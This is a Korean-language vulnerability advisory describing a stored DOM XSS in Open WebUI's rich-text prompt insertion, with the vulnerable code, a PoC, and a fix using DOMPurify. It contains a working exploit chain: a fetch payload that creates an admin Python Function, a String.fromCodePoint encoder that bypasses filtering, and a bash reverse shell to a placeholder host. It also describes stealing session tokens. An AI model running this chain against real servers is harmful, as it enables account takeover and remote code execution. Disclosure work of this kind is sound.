
Open WebUI에서 'Insert Prompt as Rich Text'가 활성화된 경우 프롬프트를 통해 저장형 DOM XSS에 취약하여 ATO/RCE로 이어집니다.
Open WebUI는 '프롬프트를 서식 있는 텍스트로 삽입'이 활성화된 상태에서 프롬프트를 통해 저장된 DOM XSS에 취약하며, 이로 인해 ATO/RCE가 발생할 수 있습니다.

사용자 정의 프롬프트를 채팅 창에 삽입하는 기능은 '프롬프트를 서식 있는 텍스트로 삽입'이 활성화된 상태에서 DOM XSS에 취약합니다. 프롬프트 본문이 .innerHtml에 삭제 없이 할당되기 때문입니다. 프롬프트를 생성할 권한이 있는 사용자는 이를 악용하여 페이로드를 심을 수 있으며, 다른 사용자가 해당 / 명령어로 프롬프트를 삽입할 경우 트리거될 수 있습니다.
영향을 받는 라인은 다음과 같습니다.
open-webui/src/lib/components/common/RichTextInput.svelte
Line 348 in 7a83e7d
tempDiv.innerHTML = htmlContent;
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// Get the plain text of this document
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// Find the word boundaries at cursor
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// Create a temporary div to parse HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- 취약점
프롬프트 본문에서 사용자 제어 HTML이 (의미 있는) 삭제 없이 tempDiv.innerHTML에 할당됩니다. marked.parse는 일부 문자 제한을 도입하지만 README에 명시된 대로 내용을 삭제하지 않습니다.

PoC
다음과 같이 사용자 정의 프롬프트를 생성합니다.

설정에서 '프롬프트를 서식 있는 텍스트로 삽입'이 활성화되어 있는지 확인합니다.

채팅 창에서 /poc 명령어를 실행합니다.

알림이 트리거되는 것을 확인합니다.

RCE 관리자는 'Functions' 기능을 통해 서버에서 임의의 Python 코드를 실행할 수 있으므로, 이 XSS를 사용하여 트리거하는 관리자가 공격자가 선택한 Python 코드를 사용하여 이러한 함수 중 하나를 실행하도록 강제할 수 있습니다.
다음 fetch 요청을 실행하도록 하여 이를 달성할 수 있습니다.
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
marked.parse 호출을 통해 전달된 HTML이 따옴표가 포함된 페이로드를 무력화시키므로 직접 수행할 수 없습니다.

이를 우회하려면 String.fromCodePoint를 사용하여 문자열을 10진수 값에서 수동으로 구성해야 합니다. 다음 Python 스크립트는 주어진 JavaScript에서 실행 가능한 페이로드를 생성하는 과정을 자동화합니다.
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2:
out += f"String.fromCodePoint({ord(c)})+"
print(f"")
해당 페이로드를 프롬프트 명령어를 통해 트리거하는 관리자는 리버스 쉘 페이로드를 실행하는 Python 함수가 실행되어 공격자에게 서버 명령줄 액세스 권한을 제공합니다.



악성 프롬프트를 실행하는 모든 사용자는 로컬스토리지에서 세션 토큰을 읽어 공격자 제어 서버로 유출하는 악성 JavaScript로 인해 계정이 손상될 수 있습니다.
악성 프롬프트를 실행하는 관리 사용자는 백엔드 서버를 원격 코드 실행(RCE)에 노출시킬 수 있습니다. 취약점을 통해 실행되는 악성 JavaScript가 관리 사용자로서 요청을 보내 악성 Python 함수를 실행하고, 이 함수는 운영 체제 명령어를 실행할 수 있기 때문입니다.
기본적으로 낮은 권한의 사용자는 프롬프트를 생성할 수 없습니다. USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS 권한이 필요하며, 이는 사용자 정의 그룹 등을 통해 부여될 수 있습니다. 참조: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions
피해 사용자가 프롬프트를 트리거하는 명령어를 실행하려면 환경 설정에서 '프롬프트를 서식 있는 텍스트로 삽입'을 활성화해야 취약점이 트리거됩니다. 이 설정은 기본적으로 꺼져 있습니다. 이 설정이 비활성화된 사용자는 영향을 받지 않습니다.
DOMpurify를 사용하여 사용자 제어 HTML을 .innerHtml에 할당하기 전에 삭제합니다.